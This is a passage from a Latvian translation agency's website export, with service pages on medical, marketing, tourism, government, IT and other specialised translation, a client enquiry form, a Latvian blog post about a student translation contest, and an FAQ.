pharmaceutical, biotechnology, chemical and medical device industries, in which research and investment opportunities are rapidly increasing all over the world, especially in the context of the Covid-19 pandemic, the demand for the translation of medical texts has become very urgent. The content of the websites of hospitals, clinics and polyclinics, even pharmacies, is not far behind marketing and any other business advertising content. There is a growing demand for promoting medical content in different languages in order to reach and address as many potential customers as possible. In large medical institutions or corporations of medical companies, translations of the content of their websites into different languages are in great demand, so that patients around the world can more easily navigate and not only access the best places for treatment, but also receive the most modern and high-quality drugs, medical procedures and manipulations. Skrivanek's language specialists specialise in the translation of both clinical trial and medical research documents, drug prescriptions, descriptions, labels and other documents into and from all languages of the Baltic region. SPECIFICITY OF TRANSLATION OF MEDICAL TEXTS Translating medical texts is very difficult. The Austrian-born American medical translator Henry Fischbach (1921–2008) is famous for saying that “the translation of medical texts is perhaps the most universal and oldest form of scientific translation because human anatomy and physiology are ubiquitous and uniform”. According to Fischbach, the demand for medical translation and interpreting in health care is continuous because, throughout history, the study of the human body has focused on exploring common features and finding universal solutions to common problems faced by all people in the world. The consequences of inaccurate translation of medical, healthcare and pharmaceutical documents can be unpredictable. When translating medical and healthcare information, literal machine translation or human error simply cannot be tolerated. In fact, the language of translation of medical texts is a scientific language, in which any emotional shade and biased interpretation of the content shall be excluded; guesses or approximations cannot be used here. Therefore, only industry experts are involved in the translation of medical texts. For the purpose of quality control at Skrivanek Baltic, two experienced language specialists work with medical text translation projects – one plays the role of a terminologist and conducts terminology research and testing, the other works with text translation, and the terminologist is responsible for the correctness of the terminology of the entire translation project and the transfer of an accurate list of terms to the proofreader, who only performs a grammar check. Of course, the tone of each medical translation text varies slightly according to the target audience and depends on who the text is addressed to, i. e. , if the medical communication is between an expert and a reader, who is not a professional, for example between a doctor and a patient, or a manufacturer of medical devices/drugs and an end user, the translation should be lighter, with less complex language and terminology, while also providing additional insight for the end-user/reader, who is not a professional, to understand the specialised terminology. THE MOST COMMON PROBLEMS IN TRANSLATING MEDICAL TEXTS The success or failure of a medical translation always depends on how accurately the terminology is used, as well as the level of knowledge and understanding of the language specialist who performs the translation. Errors and challenges in medical translation can be classified based on the criteria of equivalence, readability, eponyms, acronyms, affixation and polysemy, which represent the main stylistic and lexical problems that can make or “destroy” a medical translation. Medical eponyms are specific terminology in the field of medicine. These are signs and symptoms usually named after discoverers or patients. Given the wide spectrum of terminology used in the field of medical sciences, the question of choosing between an eponym and another equivalent term often arises; special attention should be paid to the use of terminology, also depending on which term is more often or more widely used. Furthermore, in addition to complex vocabulary and technical aspects, the challenges of medical translation on a global scale are also related to accuracy and market-specificity. This excludes a free approach to the translation; the message of the basic source is strictly followed and no free interpretation of the text takes place. In addition, it is important to pay attention to the equivalence of terminology to avoid mistranslations. If we had to precisely define the most important difference between translations of medical texts and texts of other fields, the main keywords would be “standard” and “quality”. The basic requirement for translators of medical texts and language specialists is practical experience, perfect theoretical knowledge in biology, chemistry and, of course, knowledge of field-specific terminology. In addition, every potential customer of medical translations highly values the compliance of the translation with regulatory enactments and regulations, thereby eliminating the risk of bad reviews and negative reactions. Standardised medical translation processes regulated by International Quality Standards (ISO) are also very important to practically ensure the quality requirements for medical translation. Therefore, a two-fold approach is essential in the translation of medical texts – translations shall meet both terminology and stylistic rigour and the requirements of the target markets. The main advantages that differentiate the field of medical translation from other types of translation fields that are desired by stakeholders worldwide today: The need for professional, human-made medical translation is an integral part of any effective business in the healthcare and medical industry, as “medical tourism” today has greater importance than ever before. Quality medical translation, based on a mutually beneficial relationship between the medical institution and the customer, provides a beneficial result for the medical industry, ensuring patient and consumer satisfaction. Translating medical content, such as extensive descriptions of specialised studies or research on drugs and/or medical devices, benefits healthcare professionals and their patients equally by ensuring that each party is informed, and also opens up new ways of access for foreign patients and investors who are looking for modern health improvement services and medical procedures. In the pharmaceutical industry in particular, high-quality, professional medical translations have never been more valuable than they are today, as the availability of pharmaceutical products from developed countries in international markets is rapidly increasing. Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions --- > Quality solutions for advertising and marketing: translation, interpreting, notary certification. Localisation and language training. - Published: 2017-11-21 - Modified: 2025-06-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional You know how important the choice of words can be. Sometimes less is more.  WE PROVIDE THE FOLLOWING SERVICES TO THE ADVERTISING AND MARKETING INDUSTRIES IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: copywriting and adaptation of creative texts; translation of all types of marketing materials in digital and printed format, such as sales materials, style guidebooks, product fact sheets, e-mail campaigns, etc. ; translation of advertising texts in written, video and audio formats; translation of advertising slogans, banners, SEO texts and Google Ads; translation of websites, including landing pages; desktop publishing solutions – DTP; simultaneous or consecutive interpreting at various events, including seminars, conferences and presentations; as well as any other services you might need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry ADVERTISEMENT TEXT TRANSLATION The translation of advertisement texts is closely related to the linguistic creativity of translators. In advertising texts especially, great value is placed on expressiveness, sound, comprehensibility and stylistics. The text of an advertisement is its most essential element of how an advertisement influences a consumer. Advertising texts have a special semantic subtext; it is rich with all kinds of artistic means of expression, the most common of which are metaphors, epithets, hyperboles, personifications and rhetorical questions. However, one must be wary of using words with an emotionally negative undertone. Advertising texts often use the problem-solution model, i. e. the advertisement defines a problem and then offers a wonderful solution, thus convincing consumers of the necessity of the product. In creating, translating and later adapting advertisement texts, remember that an advertisement should not be overcrowded with text. The text must consist of concise, precise and well-structured sentences. Advertisement texts should not be ambiguous or unclear. Translators must work very carefully when working with the headings and slogans of an advertisement text to neatly reveal the essence of the product –the heading is often the only thing a consumer will read. TYPES OF ADVERTISEMENT TEXT TRANSLATIONS advertisement text translation and adaptation; website or homepage translations; video and audio advertisement translations; advertisement slogan translations; banner translations; advertisement booklet translations; landing page translations. CHARACTERISTICS OF ADVERTISEMENT TEXT TRANSLATIONS When translating advertisement texts, special attention must be paid to the form of address, postscript and their diminutive uses. Remember that the text of a translation cannot be perceived as disjointed or removed from its visual or audio elements; together they create a harmonious advertisement. Colours and font size only supplement the emotional flavour of an advertisement. When working with the translation of an advertisement text it's important to consider the national mentality characteristics of your target audience, archetypes and stereotypes, as the diversity of cultural values can elicit adverse reactions. It is important for a translation to be able to retain the initial subtext encoded in it, or the emotional connection that conveys the advertisement to the target audience. Thus, when adapting an advertisement for a specific region, it is incredibly important to take into consideration every association the text may elicit. Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality solutions for the manufacturing industry: translation, interpreting, localisation and language training. Find out more! - Published: 2017-11-21 - Modified: 2023-10-30 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Only strong companies that carefully choose their partners can ensure the highest level of performance in the manufacturing industry. It doesn’t matter if you are producing food products or manufacturing textiles or other non-consumables – continuous and effective communication with suppliers, clients and partners is essential. Skrivanek will assist your manufacturing company with communication in foreign languages, thus promoting your growth both in the domestic and export markets. We know that you have great ambitions and potential – well-chosen words will only help you fulfil them! No matter if you are looking to translate texts, localise a website, get help from our DTP team, or receive interpreter’s services at various meetings or conferences, Skrivanek will not let you down. We are proud that our services are chosen by manufacturers, from small factories to strategically significant plants. We encourage you to take advantage of our language solutions! Our language specialists have experience in providing translations to the manufacturing industry. As we use state-of-the-art translation technologies, you can be certain that even high volumes will be completed in the shortest time possible. All orders are coordinated by experienced project managers, who oversee the implementation of projects from start to finish. Regardless of whether you are in need of translating business agreements, your company’s website, marketing materials or technical documentation, or are setting off to a conference held in a foreign language, our international team of translators and interpreters will be there for you. WE PROVIDE THE FOLLOWING LANGUAGE SOLUTIONS TO THE MANUFACTURING INDUSTRY IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation and DTP of various marketing materials in digital and printed format, such as sales materials, brochures, product fact sheets, etc. ; localisation of instructions and equipment descriptions; translation of product descriptions and labels; translation of technical descriptions and specifications; translation of user manuals and technical certificates; simultaneous or consecutive interpreting at various events, including conferences, seminars, and business meetings; language training and specialised seminars to improve the foreign language and presentation skills of your employees; assistant services to foreign representatives; as well as any other services you might need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality language solutions for the tourism industry: translation, interpreting, localisation and language training. Find out more! - Published: 2017-11-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional The tourism industry is experiencing increasingly faster growth and development, and any representative of this industry wants to communicate their message in as many languages as needed. You are tourism professionals, who know the best ways of approaching travellers, while we are language professionals, who can translate your words into more than 110 languages. Various tourism marketing and advertising materials are considered to be one of the most widely translated types of texts in the world. This is where quality matters. Need to localise your hotel’s website? Want to translate your tourism brochure? Or maybe you would like to adapt your restaurant’s menu to foreign guests? We offer more than just translations. Skrivanek language specialists have been providing high-quality language solutions to the tourism industry for 30 years – we don’t simply translate texts, we adapt them to the cultural specifics of each country. We can confidently say that your clients will understand you. Whether you need a written translation or interpreter’s services at various conferences or international fairs, the Skrivanek team will help you find the most suitable solution. Whereas, if your employees need to brush up on their foreign language skills, they are welcome to the Skrivanek Baltic Language School. The Skrivanek team consists of translators and interpreters who not only have philological education but also vast knowledge about history, architecture, arts, fashion, music and gastronomy, which is why we are your best choice. Hospitality and catering, tourist accommodation, organising of trips, representations of cities and municipalities abroad – we will find specialists knowledgeable in the respective fields to make sure your translations are up to par. WE PROVIDE THE FOLLOWING SERVICES TO THE TOURISM INDUSTRY IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of advertising and marketing materials (pamphlets, brochures, and catalogues) alongside desktop publishing services; translation and localisation of websites; translation of holiday catalogues and travel itineraries; localisation of audio guides and video files; simultaneous or consecutive interpreting at various events, including international trade fairs, accommodation of large tourist groups, seminars and conferences; specialised language training; any other language services you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Language solutions for government and municipal institutions: translation, interpreting, notary-certified translations and language training. - Published: 2017-11-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Public sector institutions rely on quick communication among employees, as well as with foreign partners and the public. Information provided in a clear and timely manner facilitates the work of government and municipal institutions. This is why you will benefit from collaborating with Skrivanek. During our 30 years of activity, we have established strong long-term cooperation with government institutions, such as several ministries of the Republic of Latvia, State Chancellery, the Court Administration and the Prosecution Office, as well as other government and municipal institutions working with restricted access information. Skrivanek Baltic Language School was the one to prepare officials for the Latvian presidency in the Council of the European Union. We regularly participate in price pools and tenders with good success. To make sure that information reaches its target audience, it has to be provided accurately, timely, and in several languages and formats. Skrivanek translators can carry out translations in a variety of formats necessary for the operation of management systems, quality management, ensuring the operation of IT systems, as well as cooperation and communication with EU institutions. Our language specialists can also contribute to the development of tourism in your municipality by providing high-quality translations of informative materials on various tourism objects, as well to the promotion of regional business by preparing materials intended for attracting foreign investors. For communication with the public, we provide different types of interpreting services. Due to our vast experience, we can carry out translations necessary in the daily work of your institution, while your employees can improve their language skills at our Language School. When you are looking to evaluate the language skills of your potential employees, look no further than our dedicated language competence audit tool FOCUS. Furthermore, our specialists can assist you in the interviewing process to determine language knowledge levels. WE PROVIDE THE FOLLOWING SERVICES TO GOVERNMENT AND MUNICIPAL INSTITUTIONS IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGE COMBINATIONS: localisation of websites and translation of various informative materials and presentations; online language competence audit tool FOCUS; consecutive and simultaneous interpreting at various events and in communication with the public; language courses of different intensity for all knowledge levels; translation of contracts, laws and legal materials; other services your institution may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality language solutions for the trade industry: translation, interpreting, localisation and language training. Find out more! - Published: 2017-11-21 - Modified: 2025-06-27 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional To approach a client, you have to speak their language. As trade industry professionals, you know that quick communication is one of the prerequisites of successful business, especially nowadays when transactions are carried out on a global scale. Skrivanek language specialists will help you to communicate with clients and partners around the world in more than 110 languages. Moreover, our modern and results-orientated approach will contribute to the development of your business. The Skrivanek team includes language specialists, who not only have good language skills, but are also well-versed in the cultural characteristics of native speakers. We not only provide translation services, but can also improve existing texts, formatting and adapting them according to the specific needs of your clients’ culture, environment and market. We have vast experience in translating contracts, marketing and advertising materials, catalogues, product descriptions, and other industry-specific texts. We cooperate with different types of trade companies: both small private businesses and international trade chains; therefore, we can confidently say that we will be able to provide you with the language solutions you are looking for. There is no need to worry about deadlines – Skrivanek language specialists and project managers use the latest programmes that allow them to provide qualitative language solutions in the shortest time possible. WE PROVIDE THE FOLLOWING SERVICES TO THE TRADE INDUSTRY IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of the full spectrum of marketing and advertising materials, including product descriptions, alongside desktop publishing services – DTP; translation of different types of technical documentation, including user manuals, maintenance and operation documents, as well as catalogues; simultaneous and consecutive interpreting at various events, including conferences, seminars, trade fairs and business meetings; language courses of different intensity for all knowledge levels; any other services you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Our translators have a background in medicine, law, engineering and other fields, which helps to ensure the best results. ⭐️ - Published: 2017-11-21 - Modified: 2023-09-14 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Specialised translations, notary-certified translations, interpretation services an language training. Find out more! - Published: 2017-11-15 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Insurance is an industry based on trust, where only professionals can succeed. To achieve the desired results, you need a partner who is well-versed in the industry practices and terminology, as well as in different types of insurance services, thus being able to provide suitable solutions. The Skrivanek team includes translators and interpreters with experience in the industry and knowledge of different types of insurance: real estate insurance, health and life insurance, reinsurance, business insurance, vehicle insurance, etc. This is why our solutions are the best for your needs. Whether you are looking for written translations, text improvement, or interpreting services at seminars and conferences, we will not let you down. The experience of our specialists guarantees that translations in the insurance industry will meet your expectations. We use the corporate communication style and the appropriate terminology to make sure that the texts are not only accurate but also help in building your company’s image. When choosing Skrivanek, you can be confident that we will take responsibility for our work, regardless of whether you have asked us to prepare a sales material package in a foreign language or a description of complicated medical manipulations. We understand the nature of the insurance industry, are well-informed and aware of the current trends, and are always ready to improve our insurance knowledge. WE PROVIDE THE FOLLOWING SERVICES TO THE INSURANCE INDUSTRY IN ALL OF THE MOST POPULAR EUROPEAN LANGUAGES: translation of various general insurance contracts; translation of insurance terms and conditions; translation of company agreements for collective insurance; translation of offers and business plans; translation of information regarding policyholders and insurance claims; translation of insurance certificates; translation of claim forms and standard claim follow-up letters; simultaneous or consecutive interpreting at various events, including business meetings, seminars, and conferences; translation of all types of marketing materials for promoting your services; any other services you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Quality solutions for the IT and gaming industries: translation, interpreting, localisation and language training. Find out more! - Published: 2017-11-15 - Modified: 2025-06-27 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Information technology (IT) industry speaks its own language. As IT specialists, you are well aware of the importance of accurate terminology in communication with your colleagues and the importance of simply conveying information to the end user. Skrivanek language specialists build bridges between IT specialists and clients, creating texts that are user friendly. Skrivanek provides accurate and precise translation and interpreting services to IT and gaming companies and is very conscientious when it comes to deadlines. Our team includes experienced language specialists who are well-versed in IT terminology and the latest industry developments and are able to precisely render technical specifications of products. Whether you need a written translation, localisation, language training for expanding to export markets, or interpreting services at various business meetings, Skrivanek will be there for you. Skrivanek language specialists will produce high-quality texts of all of your materials, including various manuals, technical descriptions, corporate publications, marketing materials and other texts. The knowledge of our specialists allows us to carry out localisation of software and computer games at a high level. Our specialists use different automated programs in the translation and localisation process that help to preserve program codes and commands that are so crucial in the IT industry. WE PROVIDE THE FOLLOWING SERVICES TO THE IT AND GAMING INDUSTRY IN MORE THAN 100 LANGUAGE COMBINATIONS: localisation of software and computer games; translation of Google Ads and SEO; translation of operation manuals; preparation of corporate materials; translation of comparative reviews, articles and press releases; translation of agreements, regulations and licences; simultaneous or consecutive interpreting at various events, including seminars, conferences and business meetings; specialised language training; any other language services you may need. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Send inquiry Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > More than 30 years on the market! We translate documents of virtually any kind and format. Get a free quote within 15 minutes! - Published: 2017-11-13 - Modified: 2025-07-08 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional NEED TRANSLATION SERVICES? WE WILL HELP YOU! Experience and reliability – Skrivanek Baltic is a language service provider with more than 30 years of experience. We provide professional language services for both companies and individual clients. Wide format support – pdf, jpg, idml, json or html – it doesn’t matter. With the help of our DTP – desktop publishing specialists, we provide text processing in various file extensions. So you don’t have to worry about processing your documents. wide range of languages – more than 110 languages available – all translations provided by one company. No need to look for another translation agency to take care of your project. Fast, online offer – no need to wait hours for an offer. We can prepare an offer within 15 minutes. In any case, you can book an online consultation. There, we will give you a more detailed offer and answer all your questions. TYPES AND NUANCES OF TRANSLATION WIDE CHOICE OF LANGUAGES The advantage of our translation agency is a very wide range of language pairs. With an international base of translators and proofreaders, we can translate your text into any language you need. EXPERIENCED LINGUISTS AND EXPERTS IN THE FIELD Our many years of experience have brought together in our translation agency, experienced linguists as well as specialists in various fields. This ensures that your text is translated and proofread competently, even if it contains very specific vocabulary. The EN 17100 certification proves that our company meets the stipulated requirements in terms of the choice of the specialist, communication, project management, work process, use of technology and other features specific to the sector. MACHINE TRANSLATION To improve the quality and speed of the translation process we use newer translation technologies, such as machine translation. Machine translation has taken a big leap forward and is a major time-saver, without sacrificing the fluency and clarity of the text to be translated. Skrivanek has developed its own neural machine translation system – Skrivanek NMT. In addition, we work with major NMT service providers such as Google and DeepL – mainly in languages where we have not yet developed our own machine translation. If necessary, we can adapt the NMT system for translations in your field. We have obtained ISO 18587 certification, which defines the requirements for a full human post-editing process and the competencies of proofreaders for machine translation. DATA CONFIDENTIALITY We guarantee the confidentiality of the data of our customers. The ISO/IEC 27001:2022 Information Security Management System standard guarantees that our company implements information security measures. It also provides the necessary controls to ensure the security and confidentiality of the data entrusted to us by the customer. INDIVIDUAL APPROACH We approach each customer and project individually. We work with texts in a variety of formats; we find the right translator for your field and carry out extensive proofreading. ONE STOP AGENCY Our strength lies in translations, whatever the field: specialised translations, general translations, certified translations or localisation of translations. With our experienced team, we can provide you with all the translation services you need. CAPACITY TO MANAGE BIG PROJECTS Translation of large projects is very welcome in our agency. We are also happy to help you with larger, long-term projects, such as very long or technical translations. For our customers, we have successfully translated thousands of pages of tender specifications or materials for legal proceedings, where you need to understand the nature of the case, the dispute and the law to ensure accuracy. HOW MUCH DOES A TRANSLATION COST? Once you have submitted a translation request, we will send you a quote within 30 minutes. The price of a translation is based on the number of words, language pair, specificity of the text, etc. Translations also include linguistic correction by the native speaker of the target language. For a more precise quote, please send us the document to be translated and we will calculate the price. The translators of our translation agency work with documents in all formats. HOW QUICKLY WILL THE TRANSLATION BE READY? The translation includes a translation and a proofreading by native speaker. We will agree a deadline with you individually before we start translating, but in general a text of 500 words can be delivered within one working day. For a text of 1000 words, please allow at least one and a half working days. With more than 3000 qualified translators in our database, we can provide translations in any language within a reasonable timeframe. We can also provide a translation on an urgent job basis. For this type of project, we will negotiate the deadline with you separately, but the price for an urgent translation will be higher. Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutes LOOKING FOR TRANSLATION SERVICES OR CONSULTATION? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! SPECIALISED TRANSLATIONS Using industry terminology is crucial. For this reason, our translators not only have philological education and the latest technological developments at their disposal, but also a background in medicine, law, engineering and other fields, which helps to ensure the best results. Read more GENERAL TRANSLATIONS Translation is not about simply translating words, but about rendering the source text into another language without losing its meaning. We provide quick translations of documents that require no industry-specific knowledge. Contact us NOTARY CERTIFICATION We provide notary-certified translations to go with document originals and copies according to the legislation of the Republic of Latvia. The accuracy, precision and conformity of documents is verified by a sworn notary, while a sworn translator takes full responsibility for the quality of translations. Read more LOCALISATION We will not only provide translations, but also make sure that the localised products and software function well. Read more --- > Konkurss norit sadarbībā ar 11 Latvijas augstskolām. Konkurss notiek divās atlases kārtās, kurās studenti aicināti tulkot tekstus no angļu, franču un vācu valodas latviešu valodā. - Published: 2017-11-08 - Modified: 2024-10-22 - URL: https://skrivanek.lv/blogs/labakais-jaunais-tulkotajs-2021/ - Translation Priorities: Optional NOTEIKTS LABĀKAIS JAUNAIS TULKOTĀJS 2021. gada 9. aprīlī noslēdzās ikgadējais konkurss Latvijas studentiem Labākais jaunais tulkotājs, par kura uzvarētāju kļuva Rīgas Tehniskās universitates studiju programmas Tehniskā tulkošana 3. kursa students Heinrihs Cielavs. Konkursā otro vietu izcīnīja Andrejs Štrāls no Ventspils Augstskolas, bet trešo vietu ieguva Maija Pokule no Rīgas Tehniskās universitātes. Arī esošajos apstākļos – attālināta darba un studiju laikā – lielāko Latvijas augstskolu studenti bija ļoti aktīvi un izrādīja lielu interesi par tulkotāja profesijas ikdienu. Šogad tika saņemti 37 pieteikumi, no kuriem 18 tika izvirzīti konkursa finālam, kur studenti tulkoja tekstus latviešu valodā no angļu, franču vai vācu valodas. Tulkošana konkursa finālā noritēja tiešsaistē, un studentiem tika piedāvāta iespēja izmantot arī Skrivanek Baltic partnera, uzņēmuma Memsource, izstrādātā tulkošanas rīka sniegtās iespējas. Pasākums norisinājās jau trīspadsmito gadu, un tas notika ciešā sadarbībā ar desmit Latvijas augstskolām – Baltijas Starptautisko akadēmiju, Biznesa augstskolu Turība, Ekonomikas un kultūras augstskolu, Latvijas Kultūras akadēmiju, Latvijas Universitāti, Liepājas Universitāti, Rēzeknes Tehnoloģiju akadēmiju, Rīgas Stradiņa universitāti, Rīgas Tehnisko universitāti un Ventspils Augstskolu. Konkursa Labākais jaunais tulkotājs uzvarētāja balvā saņēma planšetdatoru Samsung Galaxy Tab A7 un prakses vietu valodu uzņēmumā Skrivanek Baltic. Pirmo trīs vietu ieguvēji saņēma veicināšanas balvas no grāmatnīcas Jānis Roze. Konkursa nolikums Finālisti Atskats uz Labākais jaunais tulkotājs 2022. --- > We are here to support you on the road to success: translation, interpreting, localisation, language training, etc. More than 25 years of experience. - Published: 2017-10-30 - Modified: 2020-02-25 - URL: https://skrivanek.lv/pakalpojumi/ - Translation Priorities: Optional Translation We offer high-quality translations in the necessary language combinations, guaranteeing confidentiality and respecting deadlines. Interpreting We provide all types of interpreting services in various combinations of more than 40 different languages. Localisation We not only provide translations but also make sure that the localised products and software function well. Language training We offer practical language training for both individuals and employees of companies and institutions with different levels of knowledge. FAQ We provide great variety of language – translation and interpreting services, localisation services, text adaptation, copywriting, DTP and language training. Interpreting is provided at conferences and business meetings, as well as during court proceedings. Translating includes specialised and general translations across a variety of industries. Although most of our translation requests come from legal entities, we gladly work with natural persons as well. Notary-certified translations is the most common service among natural persons. Language courses, and camps for children and youths are also popular. No, all translation orders are accepted and overseen by project managers, who form an effective link between clients and suppliers. Skrivanek Baltic translators and interpreters can provide services in more than 110 languages. More than 25 years on the market! We have vast experience in translating texts on various subjects. 110+ Languages in different combinations 14 million+ Words translated in 2019 3000+ Language specialists 4 ISO certificates Reliability, speed and quality of services The employees of 